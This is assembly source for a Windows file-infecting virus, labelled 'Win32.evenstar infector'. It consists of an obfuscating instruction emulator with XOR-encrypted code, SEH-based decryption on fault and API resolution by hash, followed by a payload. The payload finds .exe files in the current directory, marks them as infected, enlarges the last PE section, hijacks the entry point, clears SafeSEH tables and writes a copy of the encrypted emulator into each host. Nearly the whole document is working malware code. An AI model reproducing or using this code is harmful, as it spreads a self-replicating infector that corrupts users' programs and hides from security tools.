vm_1100:
    cmp     al, 1100b
    jne     vm_1110
    popf

    jc      vm_1100_jge
    ; jl s <> o
    bt      ecx, 7                                      ; s flag
    jc      vm_1100_jl_0
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    vm_1100_jl_0:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jmp     vm_jmp_cond_true    
    ; jge s = o
    vm_1100_jge:
    bt      ecx, 7                                      ; s flag
    jc      vm_1100_jge_0
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jmp     vm_jmp_cond_true
    vm_1100_jge_0:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jmp     vm_jmp_cond_false

; jle[jng] (z=1) || (s<>o) 1110
; jg[jnle] (z=0) && (s=o) 1111
vm_1110:
    popf
    jc      vm_1110_jg
    ; jle[jng]
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_true
    ; (s <> o)
    bt      ecx, 7                                      ; s flag
    jc      vm_1110_jle_0
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    vm_1110_jle_0:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jmp     vm_jmp_cond_true    
    ; jg[jnle]
    vm_1110_jg:
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_false
    bt      ecx, 7                                      ; s flag
    jc      vm_1110_jg_0
    bt      ecx, 11                                     ; o flag
    jnc     vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    vm_1110_jg_0:
    bt      ecx, 11                                     ; o flag
    jnc     vm_jmp_cond_false






;==============================================================================;
;   Jump TRUE                                                                  ;
;==============================================================================;
vm_jmp_cond_true:
    pop     eax                                         ; al = opcode, ah = siz
    pop     edx                                         ; debuggee stack pointer

    cmp     ah, 2                                       ; near jump?
    je      vm_jmp_cond_true_32

;   8-bit short operand, adjust destination
    xor     eax, eax
    mov     al, [edi + 1]                               ; Load operand
    cmp     al, 0                                       ; forward/backward offset
    jl      vm_jmp_cond_true_8_back
;   Forwards in memory
    xchg    edx, edi
    lea     edi, [edi + eax + 2]                        ; Load final destination (forward)
    jmp     vm_jmp_cond_true_realign
;   Backwards
vm_jmp_cond_true_8_back:
    not     al
    not     eax
    xchg    edx, edi
    lea     edi, [edi + eax + 2]                        ; Final displacement
    ;inc     eax
    jmp     vm_jmp_cond_true_realign

;   32-bit near operand
vm_jmp_cond_true_32:
    mov     eax, [edi + 2]                              ; Load operand
    xchg    edi, edx
    lea     edi, [edi + eax + 6]                        ; Final displacement

;   Prepare to realign instruction pointer (procedure)
vm_jmp_cond_true_realign:
    mov     ecx, eax
    xor     eax, eax                                    ; Set eax
    cmp     ecx, 0                                      ; Prepare flags
    jmp     vm_recompute_size_array                     ; Jump to procedure      






;==============================================================================;
;   Jump FALSE                                                                 ;
;==============================================================================;

vm_jmp_cond_false:
    pop     eax
    pop     edx
    xchg    edx, edi
    shr     eax, 8                                      ; Shift the instruction length to al
    cmp     eax, 1
    je      vm_jmp_cond_false_8
;   32-bit
    lea     edi, [edi + 6]
    jmp     @vm
;   8-bit
vm_jmp_cond_false_8:
    lea     edi, [edi + 2]
    jmp     @vm






;==============================================================================;
;:::::::::::::::::::::::::       Call Emulation      ::::::::::::::::::::::::::;
;==============================================================================;

;   Call Found: determine if it is local (within the specified executable code range)
vm_call:
    mov     DWORD PTR eax, [edi + 1]                    ; Load operand
    test    eax, eax
    je      vm_call_delta
    cmp     eax, VM_SIZE                                ; Forced program size (check call limits)
    mov     eax, vm_inst_len
    jng     vm_call_local

vm_call_delta:
    xchg    edx, edi
    lea     edi, [edi + 5]                              ; Next instruction
    call    vm_realign_context_frame
    lea     eax, [ebx + VM_STACK_PTR_OFFSET]
    mov     eax, [eax]
    lea     eax, [eax + 34]
    mov     [eax], edi
    jmp     @vm

;==============================================================================;
;:  Far call - aka this call offset is outside of the specified call base      ;
;==============================================================================;
    mov     eax, edi                                    ; Current instruction pointer
    sub     eax, ebx                                    ; Relative offset
    add     eax, [edi + 1]                              ; Other offset
    mov     BYTE PTR [ebx], 0e8h                        ; Call
    mov     DWORD PTR [ebx + 1], eax                    ; Operand
;   Prepare registers
;   edi = Instruction buffer + 5
;   ebx = Instruction length struct
;   esi = Instruction pointer
;   eax = Instruction length (5)
    mov     eax, 5
    xchg    esi, ebx
    xchg    edi, esi
    lea     edi, [edi + 5]
    add     esi, 5                                      ; Add by the size of the call instruction
    jmp     vm_stamp_instructions







;==============================================================================;
;:  Local call - within range of code base                                     ;
;==============================================================================;
vm_call_local:
;   Move context information (on top of stack) down by 4 bytes. Make enough space for the retn address (edi)
;   so it is caught by the emulator
    xchg    edx, edi
    call    vm_realign_context_frame
    jmp     vm_compute_new_eip 
    






;==============================================================================;
;:  call reg                                                                   ;
;==============================================================================;
;   assuming there is VM_GET_INFO_MACHINE in eax, we will move the base address
;   of the emulator into eax instead. This will not change any stack information
vm_call_reg_ff:
    mov     eax, [edi + VM_STACK_PTR_OFFSET]
    mov     eax, [eax + 24]                             ; Load eax value of debuggee
    cmp     eax, VM_GET_INFO_MACHINE
    je      vm_call_reg_info
    cmp     eax, VM_RETURN_TO_OEP
    je      vm_call_reg_oep
    cmp     eax, VM_INFO_GET_API
    je      vm_call_reg_api
    jmp     vm_reg_inst

;   Call reg [VM_GET_INFO_MACHINE] is true. The debuggee is asking for the base address of the vm
vm_call_reg_info:
    push    ebx
    mov     ebx, [edi + VM_STACK_PTR_OFFSET]
    mov     eax, vm_base
    sub     eax, 6
    mov     [ebx + 24], eax
    pop     ebx
    add     edx, 2                                      ; Move to next instruction
    xchg    edx, edi
    jmp     @vm








;==============================================================================;
;:  call oep                                                                   ;
;==============================================================================;
vm_call_reg_oep:
    mov     ebx, [edi + VM_STACK_PTR_OFFSET]            ; Load address of debuggee stack
vm_call_reg_oep_stamp:
    mov     eax, 0ffeeffeeh
    mov     ebx, vm_host_oep
    mov     esp, vm_orig_esp
    jmp     ebx
    


vm_call_reg_api:
    push    ebx
    mov     ebx, [edi + VM_STACK_PTR_OFFSET]
    lea     eax, vm_findnextfile
    mov     [ebx + 24], eax
    pop     ebx
    add     edx, 2
    xchg    edi, edx
    jmp     @vm




;==============================================================================;
;:  Realign debuggee thread context information (to make room for ret)         ;
;==============================================================================;
;:  + Local call and retn procedures need to make use of this procedure        ;
;==============================================================================;
vm_realign_context_frame:
    pusha                                               ; Preserve registers for next cycle
    push    edi                                         ; Contains current instruction
    mov     DWORD PTR edx, [ebx + 64]                   ; Load debuggee stack pointer
    mov     edi, edx
    mov     esi, edi
    sub     edi, 4                                      ; Increase stack size by 4 bytes (enough to place a ret)
    mov     ecx, 34
    rep     movsb
;   Stamp in ret address
vm_realign_context_frame_stamp:
    pop     edi                                         ; Current instruction
    lea     edx, [edi + 5]                              ; retn address (after call)
    mov     [esi - 4], edx                              ; Stamp in ret address
;   Stamp in new esp
    mov     edx, [ebx + 64]
    sub     edx, 4                                      ; Increase size of stack pointer by 4 bytes
    mov     [ebx + 64], edx                             ; Stamp in
    popa                                                ; Restore regs
    ret







;==============================================================================;
;:  Recompute eip & size struct ptr of debuggee after a jump is made           ;
;==============================================================================;
vm_compute_new_eip:
    xchg    edx, edi
    xor     eax, eax
    add     edi, 5                                      ; Move edi to next instruction (either call will be delta, or local)
    mov     ecx, [edi - 4]                              ; Load call/jump operand into ecx
    xchg    edx, edi
    lea     edi, [edi + ecx + 5]                        ; Adjust edi to point to the next instruction to be executed

;   Recompute pointer to inst size array
;   + compare ecx with 0
vm_recompute_size_array:
;   Check if the call offset is forward or backward
    pushf
    jg      vm_recompute_size_array_forward
    not     ecx                                         ; Invert the offset
    popf
    stc                                                ; C -> jump moving backwards
    cld                                                 ; Move forward in instruction length pointer (backwards through instructions)
    inc     esi                                         ; Count the call instruction too
    inc     ecx
    pushf                                               ; FIXME
    jmp     @vm_recompute_size_array
vm_recompute_size_array_forward:
    std                                                 ; Moving backwards in inst size ptr
@vm_recompute_size_array:
    lodsb                                               ; Load next instruction size
    sub     ecx, eax                                    ; Decrement ecx by size of next instruction
    test    ecx, ecx                                    ; Have we reached the proper instruction?
    jne     @vm_recompute_size_array
    popf
    jnc     vm_recompute_size_array_end
    dec     esi
    clc
vm_recompute_size_array_end:
    jmp     @vm







;==============================================================================;
;:  Return Emulation                                                           ;
;==============================================================================;
vm_ret:
    xchg    edx, edi
    push    esi
    push    edi                                         ; Instruction pointer
    mov     DWORD PTR edx, [ebx + 64]                   ; debuggee stack
    lea     edi, [edx + 37]                             ; Pointer to ret address in debugee stack
    mov     eax, [edi - 3]                              ; Load return address into eax
    lea     esi, [edi - 4]
    std
    mov     ecx, 34
    rep     movsb
    add     edx, 4                                      ; Next alignment
    mov     DWORD PTR [ebx + 64], edx
    pop     edi
    xchg    edi, eax                                    ; eax = last ip; edi = new ip

;   Recompute instruction size pointer (esi)
    pop     esi
    sub     eax, edi
    dec     esi                                         ; Set the instruction length pointer to the ret instruction
    cld
    mov     ecx, eax
    add     esi, 3
    xor     eax, eax
    
@vm_ret_adjust_inst_len_count:
    lodsb
    sub     ecx, eax                                    ; Decrement by size of instruction
    test    ecx, ecx
    jne     @vm_ret_adjust_inst_len_count
    dec     esi                                         ; Adjust
    jmp     @vm  







;==============================================================================;
;:::::::::::::::::::::   General Instruction Emulation    :::::::::::::::::::::;
;==============================================================================;
vm_reg_inst:
;   Lock execution buffer
    ;pusha
    ;invoke  VirtualProtect, vm_parm_code_base, 1000h, PAGE_NOACCESS, ADDR vm_page_protect
    ;popa







;==============================================================================;
;:  Inject Post execution instructions                                         ;
;==============================================================================;
vm_stamp_instructions:
    ;sub     edi, eax
    mov     eax, vm_inst_len
    mov     BYTE PTR [edi + eax], 0e8h                  ; Stamp in opcode 0xe8 (call)
    mov     DWORD PTR [edi + eax + 1], 0                ; Stamp in zeros
    mov     BYTE PTR [edi + eax + 5], VM_BREAK_OPCODE   ; Stamp in interrupt
    ; d11c4
    mov     BYTE PTR [edi + eax + 6], 0e9h
    ; e9 c6110d00
    push    ebx
    mov     ebx, OFFSET vm_handler
    sub     ebx, vm_parm_buf
    mov     DWORD PTR [edi + eax + 7], ebx
    pop     ebx
    ;mov     DWORD PTR [edi + eax + 7], JUMP_OFFSET      ; FIXME
    ;mov     DWORD PTR [edi + eax + 7], ADDR vm_handler







;==============================================================================;
;:  Load debuggee thread context and prepare for execution                     ;
;==============================================================================;       
;   Save local stack context
    pushf
    push_gen_reg
    push    ebp

;   Exchange stack pointers
    and     ebx, 0ffff0000h
    lea     ebx, [ebx + VM_STACK_PTR_OFFSET]
    xchg    [ebx], esp
    
;   Restore debugees stack context
    pop     ebp
    pop_gen_reg
    popf
    






;==============================================================================;
;   Execute Instruction                                                        ;
;==============================================================================;
    ret                                                 ; Execute instruction!





                                    nop






;==============================================================================;
;:::::::::::::::::::    Exception Handler Subroutine    :::::::::::::::::::::::;
;==============================================================================;
vm_handler:
entry_fieldnop db 16 DUP (090h)
;   SEH Subroutine relay
    mov     ebx, [esp + 4]                              ; EXCEPTION_RECORD
    mov     eax, [ebx]                                  ; ExceptionCode
    cmp     eax, STATUS_BREAKPOINT                      ; Is this a regular instruction?
    je      vm_handler_bp

;   Access Violation (AV) Proxy
    jmp     vm_av_proxy

;   Interrupt vector 3 (either general instruction, or post AV execution)
vm_handler_bp:
    mov     ebx, [esp + 0ch]                            ; CONTEXT structure
    assume  ebx:ptr CONTEXT
    mov     ebx, [ebx].regEip                           ; Load IB
    assume  ebx:nothing
    and     ebx, 0ffff0000h                             ; IB page
    mov     DWORD PTR eax, [ebx + VM_AV_INST]           ; Does a value exist here?
                                                        ; If so, it means the last instruction executed
                                                        ; caused a Violation. This means we must lock the 
                                                        ; code buffer and return to normal program flow
    test    eax, eax
    je      vm_handler_bp_no_vm







;==============================================================================;
;:  Access Violation Proxy : Encryption                                        ;
;==============================================================================;
;   This is executed if the previous instruction caused an access violation due
;   to an attempt to self-reference. We must lock the code buffer and encrypt the 
;   instruction in the code buffer.

;   Encrypt instruction
    mov     edi, eax
    mov     eax, [ebx + VM_AV_LEN]
    call    vm_dec

;   Zero out AV data (so that the next instruction is not routed to here
    xor     eax, eax
    mov     [ebx + VM_AV_LEN], eax
    mov     [ebx + VM_AV_INST], eax

;   Lock execution buffer
    pusha
    and     edi, 0ffff0000h
    sub     esp, 4
    push    esp
    push    PAGE_NOACCESS
    push    1000h
    push    edi
    and     ebx, 0ffff0000h
    mov     eax, [ebx + VM_API]
    call    eax
    pop     eax
    popa

;   Increment instruction
    ;mov     ebx, [ebx + VM_STACK_PTR_OFFSET]            ; Address of VMs stack
    ;mov     eax, [ebx + 4]                              ; Load instruction length pointer
    ;xor     ecx, ecx
    ;mov     BYTE PTR cl, [eax + 1]                      ; Load data of last called instruction length to ecx
    ;mov     eax, [ebx + 0ch]                            ; Load instruction pointer
    ;add     eax, ecx                                    ; Move debuggee eip to the next instruction
    ;mov     [ebx + 0ch], eax                            ; Commit

;   Return to normal instruction execution
    call    vm_seh_unwind
    jmp     vm_post_exec_proxy_context






;==============================================================================;
;:  Access Violation Proxy : Decryption                                        ;
;==============================================================================;
;   An access Violation occured. Either this is a real bug, or it is generated 
;   by the a "self-reference" attempt at the encrypted code.
;   We will have to check where the faulting address is. If that address it 
;   inside of the code boundry, then we know it will most *likely* be a
;   fault generated intentionally. Of course, this is never certain, because
;   seg fault can also occur in the VM, or a bug in the emulated code.
vm_av_proxy:
;   Determine faulting address
    mov     ebx, [esp + 4]                              ; EXCEPTION_RECORD
    mov     edx, [ebx + 18h]                            ; Faulting address
;   eax = faulting address

;   Decrypt instructions within 4 bytes
;VM_INST_LEN_PTR                 equ 60
;VM_INST_BASE_PTR                equ 56
    mov     esi, esp
    and     esi, 0ffff0000h
    mov     edi, [esi + VM_INST_BASE_PTR]               ; esi = base of emulated code length counter
    mov     esi, [esi + VM_INST_LEN_PTR]                ; edi = base of emulated code

;   Allow us to write to the buffer, so the decryption can work
    pusha
    and     edi, 0ffff0000h
    sub     esp, 4
    push    esp
    push    PAGE_READWRITE
    push    1000h
    push    edi
    and     ebx, 0ffff0000h
    mov     eax, [ebx + VM_API]
    call    eax
    pop     eax
    popa

;   Determine the n instructions to decrypt that satisfy a 1 byte boundry
;   esi -> inst ptr, edi -> eip, edx -> fault address
    xor     eax, eax
    cld                                                 ; esi -> moving backwards
@vm_dec_fault:
;   Check, is this the faulting address?
    cmp     edi, edx
    jge     vm_dec_fault_found
    lodsb                                               ; al -> size of inst
    add     edi, eax                                    ; Move to next inst
    jmp     @vm_dec_fault

vm_dec_fault_found:
    cmp     edi, edx                                    ; Are we on the instruction byte 0?
    je      vm_dec_fault_decrypt_align
;   We are in middle of an instruction, so find the base and decrypt the 
;   whole instruction, instead of only a part
    sub     edi, eax                                    ; Go to the base 
    dec     esi
;   We have found the instruction to decrypt
vm_dec_fault_decrypt_align:
    lodsb
    call    vm_dec

;   Set variables
;   VM_AV_LEN   -> length of instruction that was decrypted 
;   VM_AV_INST  -> pointer to instruction that was decrypted
    and     ebx, 0ffff0000h
    mov     DWORD PTR [ebx + VM_AV_LEN], eax
    mov     DWORD PTR [ebx + VM_AV_INST], edi

;   Unwind seh
    call    vm_seh_unwind

;   Rebuild debuggee context
    mov     ebx, [esp + 0ch]
    assume  ebx:ptr CONTEXT

;   Restore esp (prior to exception)
    mov     esp, [ebx].regEsp
    and     ebp, 0ffff0000h
    push    ebp                                         ; return -> IB
    push    [ebx].regEbx
    mov     eax, [ebx].regEax
    mov     ecx, [ebx].regEcx
    mov     edx, [ebx].regEdx
    mov     edi, [ebx].regEdi
    mov     esi, [ebx].regEsi
    mov     ebp, [ebx].regEbp
    pop     ebx                                         ; Restores ebx
    ret                                                 ; Execute instruction!

    assume  ebx:nothing








;==============================================================================;
;:  Post Execution Proxy                                                       ;
;==============================================================================;
;   This is executed at a regular instruction (no exception occured prior0
vm_handler_bp_no_vm:
    call    vm_seh_unwind
    jmp     vm_post_exec_proxy_context

vm_seh_unwind:
;   Rewind SEH chain in VM's context frame
    pop     edx
    mov     ebx, esp                                    ; Store stack pointer (SEH information)
    mov     esp, [esp + 8]                              ; Load SEH entry into esp
    pop     DWORD PTR fs:[0]                            ; Unload handler
    add     esp, 4                                      ; Unload handler
    pop     eax
    ;lea     eax, [edx + (OFFSET vm_handler - OFFSET vm_delta)]
    push    eax
    push    eax
    push    DWORD PTR fs:[0]                            ; Push previous handler
    mov     DWORD PTR fs:[0], esp                       ; Establish new SEH chain
    mov     esp, ebx                                    ; Restore stack
    jmp     edx

vm_post_exec_proxy_context:
;   Load CONTEXT structure & adjust stack pointer
    mov     ebx, [esp + 0ch]                            ; Load CONTEXT structure into ebx
    assume  ebx:ptr CONTEXT

;   Restore stack pointer (prior to exception)
    mov     esp, [ebx].regEsp                           ; Old esp
    pop     eax                                         ; Retn from call
    and     eax, 0ffff0000h                             ; Align to Instruction buffer
    push    eax                                         ; Push retn address used to call instruction

;   Push CONTEXT of debuggee
    mov     eax, [ebx].regFlag                          ; Load flags (DWORD)
    push    ax                                          ; flags
    push    [ebx].regEax
    push    [ebx].regEbx
    push    [ebx].regEcx
    push    [ebx].regEdx
    push    [ebx].regEdi
    push    [ebx].regEsi
    push    [ebx].regEbp
    assume  ebx:nothing

;   Save register context of debuggee 
    ;pushf
    ;push_gen_reg
    ;push    ebp  

;   Recompute 'ret' address which contains the address of the instruction buffer 
    ;mov     eax, [esp + 30]
    ;and     eax, 0ffff0000h
    ;mov     [esp + 30], eax

;   Realign debuggee stack pointer and save
    mov     eax, esp                                    ; Prepare
    and     esp, 0ffff0000h                             ; Align to page
    xchg    DWORD PTR [esp + VM_STACK_PTR_OFFSET], eax  ; Store debuggee stack pointer, restore host stack pointer

;   Restore host execution context
    mov     esp, eax
    pop     ebp
    pop_gen_reg
    popf

;   Restore registers and return to main execution loop
;   edi = instruction pointer
;   esi = instruction counter
;   ebx = working buffer
    add     edx, ecx                                    ; Increment instruction pointer by size of last inst
    xchg    edx, edi    
    jmp     @vm





    ;include mlde32.asm
;==============================================================================;
;:  Decryption/Encryption routine                                              ;
;==============================================================================;
vm_dec:
    pusha
    mov     ecx, eax
vm_dec_key:
    mov     ebx, 0ffffffffh                             ; Place holder for key
    push    ebx
    ;and     edi, 0ffff0000h
    mov     esi, edi
@vm_dec:
;   End of key?
    test    ebx, ebx
    jne     _vm_dec_key_cont
    pop     ebx
    push    ebx
_vm_dec_key_cont:
    lodsb                                               ; Load encrypted byte
    xor     al, bl
    stosb                                               ; Store decrypted byte
    shr     ebx, 8                                      ; Shift key
    loop    @vm_dec   
    pop     ebx
    popa    
    ret

;fvirtualalloc          db "VirtualAlloc",0
;fvirtualprotect        db "VirtualProtect",0
;fcreatefile            db "CreateFileA",0
;fgetfilesize           db "GetFileSize",0
;freadfile              db "ReadFile",0
;fclosehandle           db "CloseHandle",0
;fwritefile             db "WriteFile",0
;fgetcurrentdirectory   db "GetCurrentDirectoryA",0
;ffindfirstfile         db "FindFirstFileA",0
;ffindnextfile          db "FindNextFileA",0

;:==============================================================================;
;:  API function name string hashes                                             ;
;:==============================================================================;
vm_hash:
hclosehandle            dd 036CDD3CEh
hcreatefile             dd 0373445E5h
hgetfilesize            dd 0383C135Bh
hreadfile               dd 0007F9820h
hvirtualalloc           dd 0480AB82Ah
hvirtualprotect         dd 0090FE538h
hwritefile              dd 002AE2BBBh
hgetcurrentdirectory    dd 07472F2F5h
hfindfirstfile          dd 062BA6922h
hfindnextfile           dd 07A514DB9h

hnull                   dd 000000000h

    nop
;:==============================================================================;
;:  End of the code                                                             ;
;:==============================================================================;
vm_end:
      

;stackseg    SEGMENT public 'DATA'
;stackbuf    WORD 4000 dup(?)
;stackseg    ENDS

; EOF
 [ ############################### es_vm.asm ############################### ]
 [ ############################### payload.asm ############################### ]
;:==============================================================================;
;:
;:
;: Win32.evenstar infector
;:
;:
;:==============================================================================;


EP_STACK_SIZE equ 128
iop     equ dd 90900b0fh

;:==============================================================================;
;:  Local Variables                                                             ;
;:==============================================================================;
ep_hFile                        equ [ebp - 4]
ep_filesize                     equ [ebp - 8]
ep_filebuffer                   equ [ebp - 12]
ep_ntheader                     equ [ebp - 16]
ep_lastseg                      equ [ebp - 20]
ep_lastseg_old_sizeofrawdata    equ [ebp - 24]
ep_end_of_copied_emu            equ [ebp - 28]
ep_workingbuffer                equ [ebp - 32]
ep_host_vm_base                 equ [ebp - 36]
ep_delta_addr                   equ [ebp - 40]
ep_key                          equ [ebp - 44]
ep_inst_ptr                     equ [ebp - 48]
ep_total_insts                  equ [ebp - 52]
ep_remote_vm_base               equ [ebp - 56]
ep_oep                          equ [ebp - 60]
ep_win32finddata                equ [ebp - 104]
ep_findhandle                   equ [ebp - 108]
ep_filenamestring               equ [ebp - 112]
ep_host_oep                     equ [ebp - 116]

;:==============================================================================;
;:  Entry point of evenstar
;:==============================================================================;
payload:
;   evenstar
    mov     eax, 0ffeeffeeh
    nop
    call    ep_delta
ep_delta:
    pop     ebx
    push    ebp
    mov     ebp, esp
    sub     esp, EP_STACK_SIZE

    mov     ecx, EP_STACK_SIZE
    mov     edi, esp
    mov     al, 0ffh
    rep     stosb
    sub     ebx, 11
    mov     ep_delta_addr, ebx

;:==============================================================================;
;:  Get API                                                                     ;
;:==============================================================================;
    mov     eax, VM_INFO_GET_API
    call    eax
    mov     esi, eax
    lea     edi, ep_findnextfile
    mov     ecx, 40
    cld
    rep     movsb
    mov     eax, ep_findfirstfile
    mov     ebx, ep_createfile
    mov     ecx, ep_findnextfile

ep_closehandle                  equ [ebp - 64]
ep_createfile                   equ [ebp - 68]
ep_getfilesize                  equ [ebp - 72]
ep_readfile                     equ [ebp - 76]
ep_virtualalloc                 equ [ebp - 80]
ep_virtualprotect               equ [ebp - 84]
ep_writefile                    equ [ebp - 88]
ep_getcurrdir                   equ [ebp - 92]
ep_findfirstfile                equ [ebp - 96]
ep_findnextfile                 equ [ebp - 100]


;:==============================================================================;
;:  Spreader                                                                    ;
;:==============================================================================;
;   FindFirstFile
;   Allocate some memory for WIN32_FIND_DATA
    push    PAGE_READWRITE
    push    MEM_COMMIT
    push    1000h
    push    NULL
    mov     eax, ep_virtualalloc
    call    eax
    mov     ep_win32finddata, eax

;   Call to FindFirstFile
    push    002a2e2ah
    mov     ebx, esp

    push    eax
    push    ebx
    mov     eax, ep_findfirstfile
    call    eax
    mov     ep_findhandle, eax
    add     esp, 4

;   ..
    call    ep_zero_win32finddata
    push    ep_win32finddata
    push    ep_findhandle
    mov     eax, ep_findnextfile
    call    eax
    mov     eax, ep_win32finddata

;:==============================================================================;
;:  Go to next file                                                             ;
;:==============================================================================;
@ep_enum_files:
;   Find next file
    call    ep_zero_win32finddata
    push    ep_win32finddata
    push    ep_findhandle
    mov     eax, ep_findnextfile
    call    eax
    test    eax, eax
    je      ep_end

;   Get filename
    mov     ebx, ep_win32finddata
    assume  ebx:ptr WIN32_FIND_DATA
    lea     eax, [ebx].cFileName
    assume  ebx:nothing

;   Test exe extension
;   Shift to end of string
    mov     edi, eax
    mov     ep_filenamestring, eax
    xor     al, al
    repne   scasb
    mov     eax, [edi - 4]
    cmp     eax, 00657865h                              ; exe\0
    jne     @ep_enum_files

;:==============================================================================;
;:  Read program into memory                                                    ;
;:==============================================================================;
    push    NULL
    push    FILE_ATTRIBUTE_NORMAL
    push    OPEN_ALWAYS
    push    NULL
    push    0
    push    GENERIC_READ
    push    ep_filenamestring
    mov     eax, ep_createfile
    call    eax
    test    eax, eax
    je      @ep_enum_files
    mov     ep_hFile, eax

;   Get file size
    push    NULL
    push    eax
    mov     eax, ep_getfilesize
    call    eax
    mov     ep_filesize, eax

;   Allocate memory for file
    push    PAGE_READWRITE
    push    MEM_COMMIT
    add     eax, 1000h
    push    eax
    push    NULL
    mov     eax, ep_virtualalloc
    call    eax
    mov     ep_filebuffer, eax

;   Allocate working page
    push    PAGE_READWRITE
    push    MEM_COMMIT
    add     eax, 1000h
    push    eax
    push    NULL
    mov     eax, ep_virtualalloc
    call    eax
    mov     ep_workingbuffer, eax

;   Read file into memory
    push    NULL
    mov     ebx, esp

    push    NULL
    push    ebx
    push    ep_filesize
    push    ep_filebuffer
    push    ep_hFile
    mov     eax, ep_readfile
    call    eax   
    pop     ebx


;   Close file 
    push    ep_hFile
    mov     eax, ep_closehandle
    call    eax
    mov     ebx, ep_filebuffer


;:==============================================================================;
;:  Test headers                                                                ;
;:==============================================================================;
;   Is this file already infected?
    assume  ebx:ptr IMAGE_DOS_HEADER
    mov     WORD PTR ax, [ebx].e_oemid
    mov     edx, ep_win32finddata
    cmp     WORD PTR ax, 0eeeeh
    je      @ep_enum_files
    
    mov     eax, [ebx].e_lfanew
    assume  ebx:nothing
    add     ebx, eax
    mov     ep_ntheader, ebx

;:==============================================================================;
;:  Modify headers
;:==============================================================================;
    assume  ebx:ptr IMAGE_NT_HEADERS
    mov     eax, [ebx].OptionalHeader.SizeOfImage
    add     eax, 1000h
    mov     [ebx].OptionalHeader.SizeOfImage, eax

;   Get address of last segment
    mov     eax, SIZEOF IMAGE_SECTION_HEADER
    xor     edx, edx
    mov     WORD PTR dx, [ebx].FileHeader.NumberOfSections
    dec     dl
    mul     edx
    assume  ebx:nothing
    lea     ebx, [ebx + eax + 0f8h]
    mov     ep_lastseg, ebx

;   Expand last section
    assume  ebx:ptr IMAGE_SECTION_HEADER
    mov     eax, [ebx].SizeOfRawData
    mov     ep_lastseg_old_sizeofrawdata, eax
    add     eax, 1000h
    mov     [ebx].SizeOfRawData, eax
    mov     eax, [ebx].Characteristics
    or      eax, IMAGE_SCN_MEM_WRITE
    mov     [ebx].Characteristics, eax
    assume  ebx:nothing
    mov     eax, [ebx + 08h]                            ; VirtualSize
    add     eax, 1000h
    mov     [ebx + 08h], eax

;   Change OEP
    assume  ebx:ptr IMAGE_SECTION_HEADER
    mov     eax, [ebx].SizeOfRawData
    add     eax, [ebx].VirtualAddress
    sub     eax, 1000h
    assume  ebx:nothing
    mov     ebx, ep_ntheader
    assume  ebx:ptr IMAGE_NT_HEADERS
    mov     edx, [ebx].OptionalHeader.ImageBase
    add     edx, [ebx].OptionalHeader.AddressOfEntryPoint
    mov     [ebx].OptionalHeader.AddressOfEntryPoint, eax
    mov     ebx, ep_filebuffer
    assume  ebx:nothing
    mov     ep_host_oep, edx

;   Remove SafeSeh tables, if required
    pusha
    mov     ebx, ep_ntheader
    assume  ebx:ptr IMAGE_NT_HEADERS
    lea     eax, [ebx].OptionalHeader.DataDirectory
    add     eax, 80                                     ; Load Config Table VirtualAddress
    mov     edi, eax
    mov     eax, [edi]                                  ; Load virtualaddress
    test    eax, eax
    je      ep_no_load_config

;   Get size of table
    mov     ecx, [edi + 4]                              ; Size of table

;   Find executable section
    assume  ebx:nothing
    add     ebx, 0f8h
    assume  ebx:ptr IMAGE_SECTION_HEADER
    sub     eax, [ebx].VirtualAddress
    add     eax, ep_filebuffer
    add     eax, [ebx].PointerToRawData                 ; Absolute raw address at eax
    mov     edi, eax
    xor     al, al
    rep     stosb

    assume  ebx:nothing
ep_no_load_config:
    popa

;   Stamp sig
ep_image_ok:
    ;mov     eax, 0deadbeefh

;:==============================================================================;
;:  Infect                                                                      ;
;:==============================================================================;
    call    ep_infect
    

;   Open file for writing
;   Open target      
    push    NULL
    push    FILE_ATTRIBUTE_NORMAL
    push    OPEN_ALWAYS
    push    NULL
    push    0
    push    GENERIC_WRITE
    push    ep_filenamestring
    mov     eax, ep_createfile
    call    eax
    test    eax, eax
    je      @ep_enum_files
    mov     ep_hFile, eax

;   Write to file
    push    NULL
    mov     eax, esp

    push    NULL
    push    eax
    mov     eax, ep_filesize
    add     eax, 1000h
    push    eax
    push    ep_filebuffer
    push    ep_hFile
    mov     eax, ep_writefile
    call    eax
    pop     eax

;   Close file
    push    ep_hFile
    mov     eax, ep_closehandle
    call    eax

    jmp     @ep_enum_files

;:==============================================================================;
;:  Return to host OEP                                                          ;
;:==============================================================================;
ep_end:
    mov     ebx, ep_oep

    add     esp, EP_STACK_SIZE
    pop     ebp

    mov     eax, VM_RETURN_TO_OEP
    call    eax














;:==============================================================================;
;:  Infect                                                                      ;
;:==============================================================================;
ep_infect:
    assume  ebx:ptr IMAGE_DOS_HEADER
    mov     ax, 0eeeeh
    mov     WORD PTR [ebx].e_oemid, ax

;   Stamp host oep
    lea     eax, [ebx].e_ip
    mov     edi, ep_oep
    sub     edi, esi
    mov     [eax], edi

;:==============================================================================;
;:  Copy emulator                                                               ;
;:==============================================================================;
    mov     ebx, ep_lastseg
    assume  ebx:ptr IMAGE_SECTION_HEADER
    mov     edi, ep_filebuffer
    add     edi, ep_lastseg_old_sizeofrawdata
    add     edi, [ebx].PointerToRawData
    mov     ep_remote_vm_base, edi
    assume  ebx:nothing 
    mov     eax, VM_GET_INFO_MACHINE                    ; Calling this will get the emu to return its own location in memory
    call    eax
    mov     esi, eax
    mov     ep_host_vm_base, eax
    mov     ecx, ((OFFSET vm_end - OFFSET vm_intro) + 8)
    cld     
    push    edi                                         ; Source of vm remote
    rep     movsb                                       ; Copy the emulator
    pop     ebx
    mov     eax, ep_host_oep
    mov     [ebx + 7], eax
    sub     edi, 8
    mov     ep_end_of_copied_emu, edi                   ; Commit

;   Generate key
    pusha
    rdtsc
    mov     ebx, eax
    mov     ecx, eax
    shr     ecx, 24
@ep_key:    
    nop
    dec     cl
    cmp     cl, 0
    jne     @ep_key
    rdtsc   
    xor     eax, ebx
    ;mov     eax, 0                                      ; Override
    mov     ep_key, eax

;   Copy instruction length counter
    mov     esi, ep_host_vm_base
